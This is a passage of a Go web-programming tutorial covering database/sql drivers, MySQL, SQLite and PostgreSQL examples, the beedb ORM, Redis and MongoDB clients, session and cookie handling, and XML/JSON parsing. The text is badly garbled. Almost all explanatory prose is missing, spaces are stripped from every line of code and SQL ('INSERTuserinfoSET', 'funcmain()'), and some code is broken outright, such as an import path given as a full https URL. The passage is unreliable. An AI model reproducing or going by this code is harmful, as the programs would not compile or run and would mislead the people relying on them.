ConnConngoroutinegoroutine
typeConninterface{Prepare(querystring)(Stmt,error)Close()errorBegin()(Tx,error)}
PrepareSQL
Closedatabase/sqlconnpool
BeginTx
driver.Stmt
StmtConngoroutinegoroutine
typeStmtinterface{Close()errorNumInput()intExec(args[]Value)(Result,error)Query(args[]Value)(Rows,error)}
Closequeryrows
NumInput>=0-1
ExecPreparesqlupdate/insertResult
QueryPreparesqlselectRows
driver.Tx
22
typeTxinterface{Commit()errorRollback()error}
2
driver.Execer
Conn
typeExecerinterface{Exec(querystring,args[]Value)(Result,error)}
DB.ExecPrepareStmtStmtExecStmt
driver.Result
Update/Insert
typeResultinterface{LastInsertId()(int64,error)RowsAffected()(int64,error)}
LastInsertIdID
RowsAffectedquery
driver.Rows
Rows
typeRowsinterface{Columns()[]stringClose()errorNext(dest[]Value)error}
Columnsslicesql
CloseRows
Nextdestdeststringdriver.Valuestring[]byteNextio.EOF
driver.RowsAffected
RowsAffectedint64ResultResult
typeRowsAffectedint64
func(RowsAffected)LastInsertId()(int64,error)
func(vRowsAffected)RowsAffected()(int64,error)
driver.Value
Value
typeValueinterface{}
driveValueValueValuenil
int64float64bool[]bytestring[*]Rows.Next stringtime.Time
driver.ValueConverter
ValueConverterdriver.Value
typeValueConverterinterface{ConvertValue(vinterface{})(Value,error)}
ValueConverter
driver.valueint64unit16driver.Valuescandriver.Value
driver.Valuer
Valuedriver.Value
typeValuerinterface{Value()(Value,error)}
Valuedriver.Value
database/sql
database/sqldatabase/sql/driverconnpool
typeDBstruct{driverdriver.Driverdsnstringmusync.Mutex//protectsfreeConnandclosedfreeConn[]driver.Connclosedbool}
OpenDBfreeConnDb.prepare deferdb.putConn(ci,err)connfreeConn00conn0conn
links
:: MySQL
5.2MySQLInternetLAMPMMySQLMySQLWeb
MySQL
GoMySQLdatabase/sql
https://github.com/go-sql-driver/mysqldatabase/sqlgohttps://github.com/ziutek/mymysqldatabase/sqlgohttps://github.com/Philio/GoMySQLdatabase/sqlgo
database/sqlkeepalive forkmymysqlkeepalivekeepalive
testuserinfouserdetail
CREATETABLE`userinfo`(`uid`INT(10)NOTNULLAUTO_INCREMENT,`username`VARCHAR(64)NULLDEFAULTNULL,`departname`VARCHAR(64)NULLDEFAULTNULL,
`created`DATENULLDEFAULTNULL,PRIMARYKEY(`uid`))
CREATETABLE`userdetail`(`uid`INT(10)NOTNULLDEFAULT'0',`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`))
database/sql
packagemain
import(_"github.com/go-sql-driver/mysql""database/sql""fmt"//"time")
funcmain(){db,err:=sql.Open("mysql","astaxie:astaxie@/test?charset=utf8")checkErr(err)
//stmt,err:=db.Prepare("INSERTuserinfoSETusername=?,departname=?,created=?")checkErr(err)
res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)
id,err:=res.LastInsertId()checkErr(err)
fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)
res,err=stmt.Exec("astaxieupdate",id)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect)
//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)
forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}
//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)
res,err=stmt.Exec(id)checkErr(err)
affect,err=res.RowsAffected()checkErr(err)
fmt.Println(affect)
db.Close()
}
funccheckErr(errerror){iferr!=nil{panic(err)}}
GoMysql
sql.Open()go-sql-drivermysqlDSN(DataSourceName)go-sql-driver
user@unix(/path/to/socket)/dbname?charset=utf8user:password@tcp(localhost:5555)/dbname?charset=utf8user:password@/dbnameuser:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname
db.Prepare()sql
db.Query()SqlRows
stmt.Exec()stmtSQL
=?SQL
links
: database/sql: SQLite
5.3SQLiteSQLiteSQLSQLiteSQLiteSQLiteSQLiteAccess
Gosqlitedatabase/sql
https://github.com/mattn/go-sqlite3database/sqlcgo(cgo)https://github.com/feyeleanor/gosqlite3database/sqlcgohttps://github.com/phf/go-sqlite3database/sqlcgo
database/sqlSQLite
SQL
CREATETABLE`userinfo`(`uid`INTEGERPRIMARYKEYAUTOINCREMENT,`username`VARCHAR(64)NULL,`departname`VARCHAR(64)NULL,`created`DATENULL);
CREATETABLE`userdeatail`(`uid`INT(10)NULL,`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`));
Go
packagemain
import("database/sql""fmt""time"_"github.com/mattn/go-sqlite3")
funcmain(){db,err:=sql.Open("sqlite3","./foo.db")checkErr(err)
//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)values(?,?,?)")checkErr(err)
res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)
id,err:=res.LastInsertId()checkErr(err)
fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)
res,err=stmt.Exec("astaxieupdate",id)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect)
//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)
forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedtime.Timeerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}
//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)
res,err=stmt.Exec(id)checkErr(err)
affect,err=res.RowsAffected()checkErr(err)
fmt.Println(affect)
db.Close()
}
funccheckErr(errerror){iferr!=nil{panic(err)}}
MySQL sql.OpenSQLite
sqlite http://sqliteadmin.orbmu2k.de/
links
: MySQL: PostgreSQL
5.4PostgreSQLPostgreSQL-BSD(MySQLFirebird)OracleSybaseIBMDB2MicrosoftSQLServer
PostgreSQLMySQLOraclePostgreSQL
MySQLOracle(MySQL5.5.31GPL)MySQLPostgreSQL
GoPostgreSQL
https://github.com/lib/pqdatabase/sqlGohttps://github.com/jbarham/gopgsqldriverdatabase/sqlGohttps://github.com/lxn/go-pgsqldatabase/sqlGo
github
CREATETABLEuserinfo(uidserialNOTNULL,usernamecharactervarying(100)NOTNULL,departnamecharactervarying(500)NOTNULL,Createddate,CONSTRAINTuserinfo_pkeyPRIMARYKEY(uid))WITH(OIDS=FALSE);
CREATETABLEuserdeatail(uidinteger,introcharactervarying(100),profilecharactervarying(100))WITH(OIDS=FALSE);
Go
packagemain
import("database/sql""fmt"_"https://github.com/lib/pq")
funcmain(){db,err:=sql.Open("postgres","user=astaxiepassword=astaxiedbname=testsslmode=disable")checkErr(err)
//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3)RETURNINGuid")checkErr(err)
res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)
//pgMySQLIDid,err:=res.LastInsertId()checkErr(err)
fmt.Println(id)
//stmt,err=db.Prepare("updateuserinfosetusername=$1whereuid=$2")checkErr(err)
res,err=stmt.Exec("astaxieupdate",1)checkErr(err)
affect,err:=res.RowsAffected()checkErr(err)
fmt.Println(affect)
//rows,err:=db.Query("SELECT*FROMuserinfo")
checkErr(err)
forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}
//stmt,err=db.Prepare("deletefromuserinfowhereuid=$1")checkErr(err)
res,err=stmt.Exec(1)checkErr(err)
affect,err=res.RowsAffected()checkErr(err)
fmt.Println(affect)
db.Close()
}
funccheckErr(errerror){iferr!=nil{panic(err)}}
PostgreSQL $1$2MySQL ?sql.OpendsnMySQLdsn
pgLastInsertIdPostgreSQLMySQLID
links
: SQLite: beedbORM
5.5beedb ORMbeedbGoORMGostylestructbeedbGoORMORMORMbeedbGoORM
beedbdatabase/sqlORMdatabase/sqlbeedb
Mysql:github.com/ziutek/mymysql/godrv[*]
Mysql:code.google.com/p/go-mysql-driver[*]
PostgreSQL:github.com/bmizerany/pq[*]
SQLite:github.com/mattn/go-sqlite3[*]
MSADODB:github.com/mattn/go-adodb[*]
ODBC:bitbucket.org/miquella/mgodbc[*]
beedbgogetGoStyle
gogetgithub.com/astaxie/beedb
importdatabase/sqlbeedb
import("database/sql""github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv")
beedbMySQL
db,err:=sql.Open("mymysql","test/xiemengjun/123456")iferr!=nil{panic(err)}orm:=beedb.New(db)
beedbNewdbMySQL/Sqlite
SQLServer
orm=beedb.New(db,"mssql")
PostgreSQL
orm=beedb.New(db,"pg")
beedb
beedb.OnDebug=true
Userinfostruct
typeUserinfostruct{Uidint`PK`//idpk
UsernamestringDepartnamestringCreatedtime.Time}
beedb UserInfoStruct user_info
structsqlSave
varsaveoneUserinfosaveone.Username="TestAddUser"saveone.Departname="TestAddDepartname"saveone.Created=time.Now()orm.Save(&saveone)
ID saveone.UidSave
beedbmap
add:=make(map[string]interface{})add["username"]="astaxie"add["departname"]="clouddevelop"add["created"]="2012-12-02"orm.SetTable("userinfo").Insert(add)
addslice:=make([]map[string]interface{},0)add:=make(map[string]interface{})add2:=make(map[string]interface{})
add["username"]="astaxie"add["departname"]="clouddevelop"add["created"]="2012-12-02"add2["username"]="astaxie2"add2["departname"]="clouddevelop2"add2["created"]="2012-12-02"addslice=append(addslice,add,add2)orm.SetTable("userinfo").InsertBatch(addslice)
jquerymethodormmethod
SetTableORMmap userinfo
saveonesavebeedbupdate
saveone.Username="UpdateUsername"saveone.Departname="UpdateDepartname"saveone.Created=time.Now()orm.Save(&saveone)//saveone
map
t:=make(map[string]interface{})t["username"]="astaxie"orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)
beedb
SetPKORM userinfo uid
Where:Where("=?",)Updatemap
beedb
1
varuserUserinfo//Where 2intorm.Where("uid=?",27).Find(&user)
2
varuser2Userinfoorm.Where(3).Find(&user2)//
3
varuser3Userinfo//Where2orm.Where("name=?","john").Find(&user3)
4
varuser4Userinfo//Where3orm.Where("name=?andage<?","john",88).Find(&user4)
1id>32010
varallusers[]Userinfoerr:=orm.Where("id>?","3").Limit(10,20).FindAll(&allusers)
2limit010
vartenusers[]Userinfoerr:=orm.Where("id>?","3").Limit(10).FindAll(&tenusers)
3
vareveryone[]Userinfoerr:=orm.OrderBy("uiddesc,usernameasc").FindAll(&everyone)
Limit
Limit:20
OrderBy:
structmap
a,_:=orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()
Select *
FindMap()[]map[string][]byte
beedb
1
//saveonesaveoneorm.Delete(&saveone)
2
//allusersliceorm.DeleteAll(&alluser)
3sql
orm.SetTable("userinfo").Where("uid>?",3).DeleteRow()
beedbstructbeedb
a,_:=orm.SetTable("userinfo").Join("LEFT","userdeatail","userinfo.uid=userdeatail.uid").Where("userinfo.uid=?",1).Select("userinfo.uid,userinfo.username,userdeatail.profile").FindMap()
Join3
INNER,LEFT,OURTER,CROSS
GroupBy Having
groupbyhavingbeedb
a,_:=orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()
2
GroupBy:groupby
Having:having
beedb
interfacedatabase/sql/driverbeedbCRUD
typeProfilestruct{NicknamestringMobilestring}
typeUserinfostruct{Uidint`PK`UsernamestringDepartnamestringCreatedtime.TimeProfile`HasOne`}
goroutine
links
: PostgreSQL: NOSQL
5.6NOSQLNoSQL(NotOnlySQL)Web2.0Web2.0SNSWeb2.0
Go21CNOSQLNOSQLredismongoDBCassandraMembaseredismongoDB
redis
rediskey-valueMemcachedvaluestring()list()set()zset(set)
redisFacebookinstagram
Goredis
https://github.com/garyburd/redigohttps://github.com/go-redis/redishttps://github.com/hoisie/redishttps://github.com/alphazero/Go-Redishttps://github.com/simonz05/godis
Let'sseehowtousethedriverthatredigotooperateonadatabase:
packagemain
import("fmt""github.com/garyburd/redigo/redis""os""os/signal""syscall""time")
var(Pool*redis.Pool)
funcinit(){redisHost:=":6379"Pool=newPool(redisHost)close()}
funcnewPool(serverstring)*redis.Pool{
return&redis.Pool{
MaxIdle:3,IdleTimeout:240*time.Second,
Dial:func()(redis.Conn,error){c,err:=redis.Dial("tcp",server)iferr!=nil{returnnil,err}returnc,err},
TestOnBorrow:func(credis.Conn,ttime.Time)error{_,err:=c.Do("PING")returnerr},}}
funcclose(){c:=make(chanos.Signal,1)signal.Notify(c,os.Interrupt)signal.Notify(c,syscall.SIGTERM)signal.Notify(c,syscall.SIGKILL)gofunc(){<-cPool.Close()os.Exit(0)}()}
funcGet(keystring)([]byte,error){
conn:=Pool.Get()deferconn.Close()
vardata[]bytedata,err:=redis.Bytes(conn.Do("GET",key))iferr!=nil{returndata,fmt.Errorf("errorgetkey%s:%v",key,err)}returndata,err}
funcmain(){test,err:=Get("test")fmt.Println(test,err)}
forkbug200WPV
https://github.com/astaxie/goredis
forkredis
packagemain
import("github.com/astaxie/goredis""fmt")
funcmain(){varclientgoredis.Client//redisclient.Addr="127.0.0.1:6379"
//client.Set("a",[]byte("hello"))val,_:=client.Get("a")fmt.Println(string(val))client.Del("a")
//list
vals:=[]string{"a","b","c","d","e"}for_,v:=rangevals{client.Rpush("l",[]byte(v))}dbvals,_:=client.Lrange("l",0,4)fori,v:=rangedbvals{println(i,":",string(v))}client.Del("l")}
redisclientredisredis
mongoDB
MongoDBjsonbjsonMongo
mysqlmongoDBmongoDB
5.1MongoDBMysql
GomongoDB mgopkg
GomongoDB
packagemain
import("fmt""gopkg.in/mgo.v2""gopkg.in/mgo.v2/bson""log")
typePersonstruct{Namestring
Phonestring}
funcmain(){session,err:=mgo.Dial("server1.example.com,server2.example.com")iferr!=nil{panic(err)}defersession.Close()
//Optional.Switchthesessiontoamonotonicbehavior.session.SetMode(mgo.Monotonic,true)
c:=session.DB("test").C("people")err=c.Insert(&Person{"Ale","+555381169639"},&Person{"Cla","+555384028510"})iferr!=nil{log.Fatal(err)}
result:=Person{}err=c.Find(bson.M{"name":"Ale"}).One(&result)iferr!=nil{log.Fatal(err)}
fmt.Println("Phone:",result.Phone)}
mgobeedbstructGoStyle
links
: beedbORM:
5.7
Godatabase/sqlbeedbORMNOSQLGoNOSQLGo21C21
Webdatabase/sql
Godatabase/sqltutorial
links
: NOSQL: session
6sessionWebHTTPWebWebcookiesessioncookiesessionIDSessionID2urlcookieSession
6.1sessioncookie6.2Gosessionsession6.3sessionsessionsession6.3sessionsessionsession(memcachedredis)6.4
links
:: sessioncookie
6.1session cookiesessioncookie2sessioncookie
""""
""HTTPHTTPcookiesession
cookieHTTPcookie
6.3cookie
cookie2cookie
cookiecookiecookiecookie
(setMaxAge(606024))cookiecookiecookieIE2cookie
Go cookie
Gonet/httpSetCookie
http.SetCookie(wResponseWriter,cookie*Cookie)
wresponsecookiestructcookie
typeCookiestruct{NamestringValuestringPathstringDomainstringExpirestime.TimeRawExpiresstring
//MaxAge=0meansno'Max-Age'attributespecified.//MaxAge<0meansdeletecookienow,equivalently'Max-Age:0'//MaxAge>0meansMax-AgeattributepresentandgiveninsecondsMaxAgeintSecureboolHttpOnlyboolRawstringUnparsed[]string//Rawtextofunparsedattribute-valuepairs}
cookie
expiration:=time.Now()expiration=expiration.AddDate(1,0,0)cookie:=http.Cookie{Name:"username",Value:"astaxie",Expires:expiration}http.SetCookie(w,&cookie)
Go cookie
cookiecookie
cookie,_:=r.Cookie("username")fmt.Fprint(w,cookie)
for_,cookie:=ranger.Cookies(){fmt.Fprint(w,cookie.Name)}
requestcookie
session
session/sessionsession""/""2
sessionWebSession
session()
sessionsessionIDsessionidsession(sessionURLSESSION)sessionidsessionsessionsessionidsessionid
session
sessioncookiehttpsessioncookiesessionidsessioncookiecookiecookiecookie1appABcookieBcookie2XSSappAjavascriptdocument.cookieappB
cookiesessionwebbugsession
links
: session: Gosession
6.2Go sessionsessionGosessiongosession
session
sessionIDWebsession
IDsessionideI/OsessionsessionsessionID
sessionIDHTTPBodycookieURL
1. CookieSet-cookiesessionIDIDsessioncookie0(cookie)()
2. URLURLURLsessionIDsessionIDcookie
Go session
sessionsessionsessionsession(lifecycle)gosession
session
session
session
sessionidsessionsession()session
sessiongo
Session
session
typeManagerstruct{cookieNamestring//privatecookienamelocksync.Mutex//protectssessionproviderProvidermaxlifetimeint64}
funcNewManager(provideName,cookieNamestring,maxlifetimeint64)(*Manager,error){provider,ok:=provides[provideName]if!ok{returnnil,fmt.Errorf("session:unknownprovide%q(forgottenimport?)",provideName)}return&Manager{provider:provider,cookieName:cookieName,maxlifetime:maxlifetime},nil}
Gomainsession
varglobalSessions*session.Manager//initfuncinit(){globalSessions,_=NewManager("memory","gosessionid",3600)}
sessionProvidersession
typeProviderinterface{SessionInit(sidstring)(Session,error)SessionRead(sidstring)(Session,error)SessionDestroy(sidstring)errorSessionGC(maxLifeTimeint64)}
SessionInitSessionSessionSessionReadsidSessionsidSessionInitSessionSessionDestroysidSessionSessionGCmaxLifeTime
SessionWebSessionsessionIDSession
typeSessioninterface{Set(key,valueinterface{})error//setsessionvalueGet(keyinterface{})interface{}//getsessionvalueDelete(keyinterface{})error//deletesessionvalueSessionID()string//backcurrentsessionID}
database/sql/driversessionsessionRegister
varprovides=make(map[string]Provider)
//Registermakesasessionprovideavailablebytheprovidedname.//IfRegisteriscalledtwicewiththesamenameorifdriverisnil,//itpanics.funcRegister(namestring,providerProvider){ifprovider==nil{panic("session:Registerprovideisnil")}if_,dup:=provides[name];dup{panic("session:Registercalledtwiceforprovide"+name)}provides[name]=provider}
SessionID
SessionIDWebGUID
func(manager*Manager)sessionId()string{b:=make([]byte,32)if_,err:=io.ReadFull(rand.Reader,b);err!=nil{return""}returnbase64.URLEncoding.EncodeToString(b)}
session
SessionSessionSessionStartSession
func(manager*Manager)SessionStart(whttp.ResponseWriter,r*http.Request)(sessionSession){manager.lock.Lock()defermanager.lock.Unlock()cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{sid:=manager.sessionId()session,_=manager.provider.SessionInit(sid)cookie:=http.Cookie{Name:manager.cookieName,Value:url.QueryEscape(sid),Path:"/",HttpOnly:true,MaxAge:int(manager.maxlifetime)}http.SetCookie(w,&cookie)}else{sid,_:=url.QueryUnescape(cookie.Value)session,_=manager.provider.SessionRead(sid)}return}
loginsession
funclogin(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)r.ParseForm()ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("username"))}else{sess.Set("username",r.Form["username"])http.Redirect(w,r,"/",302)}}
SessionStartSessionsession
session.Get("uid")
funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+360)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)}ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}
Sessionkey/valueSetGetDelete
SessionGCGCGCsessionSessionGCSession
session
Websessionsession
//Destroysessionidfunc(manager*Manager)SessionDestroy(whttp.ResponseWriter,r*http.Request){cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{return}else{manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionDestroy(cookie.Value)expiration:=time.Now()cookie:=http.Cookie{Name:manager.cookieName,Path:"/",HttpOnly:true,Expires:expiration,MaxAge:-1}http.SetCookie(w,&cookie)}}
session
SessionMain
funcinit(){goglobalSessions.GC()}
func(manager*Manager)GC(){manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionGC(manager.maxlifetime)time.AfterFunc(time.Duration(manager.maxlifetime),func(){manager.GC()})}
GCtime maxLifeTimeGC maxLiefTimesession
WebSessionSessionManagerSessionProviderProvider
links
: sessioncookie: session
6.3sessionSessionsessionsession
packagememory
import("container/list""github.com/astaxie/session""sync""time")
varpder=&Provider{list:list.New()}
typeSessionStorestruct{sidstring//sessionidIDtimeAccessedtime.Time//valuemap[interface{}]interface{}//session}
func(st*SessionStore)Set(key,valueinterface{})error{st.value[key]=valuepder.SessionUpdate(st.sid)
returnnil}
func(st*SessionStore)Get(keyinterface{})interface{}{pder.SessionUpdate(st.sid)ifv,ok:=st.value[key];ok{returnv}else{returnnil}returnnil}
func(st*SessionStore)Delete(keyinterface{})error{delete(st.value,key)pder.SessionUpdate(st.sid)returnnil}
func(st*SessionStore)SessionID()string{returnst.sid}
typeProviderstruct{locksync.Mutex//sessionsmap[string]*list.Element//list*list.List//gc}
func(pder*Provider)SessionInit(sidstring)(session.Session,error){pder.lock.Lock()deferpder.lock.Unlock()v:=make(map[interface{}]interface{},0)newsess:=&SessionStore{sid:sid,timeAccessed:time.Now(),value:v}element:=pder.list.PushBack(newsess)pder.sessions[sid]=elementreturnnewsess,nil}
func(pder*Provider)SessionRead(sidstring)(session.Session,error){ifelement,ok:=pder.sessions[sid];ok{returnelement.Value.(*SessionStore),nil}else{
sess,err:=pder.SessionInit(sid)returnsess,err}returnnil,nil}
func(pder*Provider)SessionDestroy(sidstring)error{ifelement,ok:=pder.sessions[sid];ok{delete(pder.sessions,sid)pder.list.Remove(element)returnnil}returnnil}
func(pder*Provider)SessionGC(maxlifetimeint64){pder.lock.Lock()deferpder.lock.Unlock()
for{element:=pder.list.Back()ifelement==nil{break}if(element.Value.(*SessionStore).timeAccessed.Unix()+maxlifetime)<time.Now().Unix(){pder.list.Remove(element)delete(pder.sessions,element.Value.(*SessionStore).sid)}else{break}}}
func(pder*Provider)SessionUpdate(sidstring)error{pder.lock.Lock()deferpder.lock.Unlock()ifelement,ok:=pder.sessions[sid];ok{element.Value.(*SessionStore).timeAccessed=time.Now()pder.list.MoveToFront(element)returnnil}returnnil}
funcinit(){pder.sessions=make(map[string]*list.Element,0)session.Register("memory",pder)}
sessioninitsession
import("github.com/astaxie/session"_"github.com/astaxie/session/providers/memory")
importmemoryinitsessionsession
varglobalSessions*session.Manager
//initfuncinit(){globalSessions,_=session.NewManager("memory","gosessionid",3600)goglobalSessions.GC()}
links
: Gosession: session
6.4sessionsessionsessionsessionIDID
session
session
count
funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}
count.gtpl
Hi.Nowcount:{{.}}
6.4count
6chromecookie
6.6cookie
6.7session
sessionIDcookiefirefoxchromegoservergosessionid""goserverhttpgosessionidHTTPgosessionidchrome""sessionchrome""
session
cookieonly token
sessionsession
sessionIDcookieURLcookiehttponlytruecookiecookieXSSsessioncookieURLsessionID
2tokenformtokentoken
h:=md5.New()salt:="astaxie%^7&8888"io.WriteString(h,salt+time.Now().String())token:=fmt.Sprintf("%x",h.Sum(nil))ifr.Form["token"]!=token{//}sess.Set("token",token)
SID
sessionsessionIDsessionsession
createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+60)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)}
sessionsessionID(60)IDsessionID
sessionsessionIDsessionIDsessionIDcookiehttponlyURLXSSsessionIDMaxAge=0sessioncookie
links
: session:
6.5session/cookieGosessionsessionsessionProvidersessionsessionsessionsessionsessionsession
links
: session:
7WebJsonXMLGoGoGo
XMLJavawebserverXML7.1XMLXMLAPIJSON7.2JSON7.3GoWebMVCGoWebV7.47.57.6
links
:: XML
7.1XMLXMLWebXMLGoXML
XMLGoXML/
xml
<?xmlversion="1.0"encoding="utf-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server>
<serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>
XML2IPGoXML
XML
XMLxml Unmarshal
funcUnmarshal(data[]byte,vinterface{})error
dataXMLvinterfaceXMLstructstructXML
packagemain
import("encoding/xml""fmt""io/ioutil""os")
typeRecurlyserversstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`Descriptionstring`xml:",innerxml"`}
typeserverstruct{XMLNamexml.Name`xml:"server"`ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}
funcmain(){file,err:=os.Open("servers.xml")//Forreadaccess.iferr!=nil{fmt.Printf("error:%v",err)return}deferfile.Close()data,err:=ioutil.ReadAll(file)iferr!=nil{fmt.Printf("error:%v",err)return}v:=Recurlyservers{}err=xml.Unmarshal(data,&v)iferr!=nil{fmt.Printf("error:%v",err)return}
fmt.Println(v)}
XMLgostructxml.Unmarshalxmlstruct
{{servers}1[{{server}Shanghai_VPN127.0.0.1}{{server}Beijing_VPN127.0.0.2}]<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>}
xmlstruct xml.Unmarshalstruct xml:"serverName"structstructtag Unmarshal
funcUnmarshal(data[]byte,vinterface{})error
XMLstructslicestringXMLvUnmarshalXMLstructtagtagXML
GotagXMLstructstructtagyreflect
XMLstruct
structstring[]bytetag ",innerxml"UnmarshalxmlDescription
<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>
structXMLNamexml.Nameelementservers
structtagXMLelementelementservernameserveripstructtag ",attr"elementversionstructtag "a>b>c"xmlabcstructtag "-"xmlstructtag ",any"
XMLtag"comments"[]bytestring
structtagtagXMLtagXMLelementslice
goxmlstruct
XML
XMLgoxml MarshalMarshalIndent
funcMarshal(vinterface{})([]byte,error)funcMarshalIndent(vinterface{},prefix,indentstring)([]byte,error)
XMLXML
XML
packagemain
import("encoding/xml""fmt""os")
typeServersstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`}
typeserverstruct{ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}
funcmain(){v:=&Servers{Version:"1"}v.Svs=append(v.Svs,server{"Shanghai_VPN","127.0.0.1"})v.Svs=append(v.Svs,server{"Beijing_VPN","127.0.0.2"})output,err:=xml.MarshalIndent(v,"","")iferr!=nil{fmt.Printf("error:%v\n",err)}os.Stdout.Write([]byte(xml.Header))
os.Stdout.Write(output)}
<?xmlversion="1.0"encoding="UTF-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>
os.Stdout.Write([]byte(xml.Header)) xml.MarshalIndentxml.MarshalXMLxmlxmlHeader
Marshalvinterface{}xmlXML
varrayslice valuevMarshalvinterfaceinterfacev
XMLelementstruct
vstructXMLNametagxml.NameXMLNamestructtagstructmarshall
structtagxml
XMLNametag"-"tag"name,attr"nameXMLtag",attr"structXMLname
tag",chardata"xmlcharacterdataelementtag",innerxml"tag",comment"xml"--"tag"omitempty"XMLfalse0nilnil0arrayslicemapstring
tag"a>b>c"abbc
FirstNamestring`xml:"name>first"`LastNamestring`xml:"name>last"`
<name><first>Asta</first><last>Xie</last></name>
GoxmlXML/XMLstructtagtag
links
:: Json
7.2JSONJSONJavascriptObjectNotationCJSONXMLXMLJSONJSONXMLJSONJSONWebGoJSONGoJSONJSON/
JSON
{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}
JSONgojsonJSON/
JSON
JSONJSONGoJSON
funcUnmarshal(data[]byte,vinterface{})error
packagemain
import("encoding/json""fmt")
typeServerstruct{ServerNamestringServerIPstring}
typeServerslicestruct{Servers[]Server}
funcmain(){varsServerslicestr:=`{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`json.Unmarshal([]byte(str),&s)fmt.Println(s)}
jsonsliceJSONKEYjsonstructJSONkey Foo
tagFoostruct()Foo
FOOFoO
JSONJSON
interface
JSON
interface{}jsonJSONmap[string]interface{}[]interface{}JSONGoJSON
boolJSONbooleans,float64JSONnumbers,stringJSONstring,nilJSONnull,
JSON
b:=[]byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)
interface{}
varfinterface{}err:=json.Unmarshal(b,&f)
fmapkeystringinterface{]
f=map[string]interface{}{
"Name":"Wednesday","Age":6,"Parents":[]interface{}{"Gomez","Morticia",},}
m:=f.(map[string]interface{})
fork,v:=rangem{switchvv:=v.(type){casestring:fmt.Println(k,"isstring",vv)caseint:fmt.Println(k,"isint",vv)casefloat64:fmt.Println(k,"isfloat64",vv)case[]interface{}:fmt.Println(k,"isanarray:")fori,u:=rangevv{fmt.Println(i,u)}default:fmt.Println(k,"isofatypeIdon'tknowhowtohandle")}}
interface{}typeassertJSON
bitly simplejsonJSON
js,err:=NewJson([]byte(`{"test":{
"array":[1,"2",3],"int":10,"float":5.150,"bignum":9223372036854775807,"string":"simplejson","bool":true}}`))
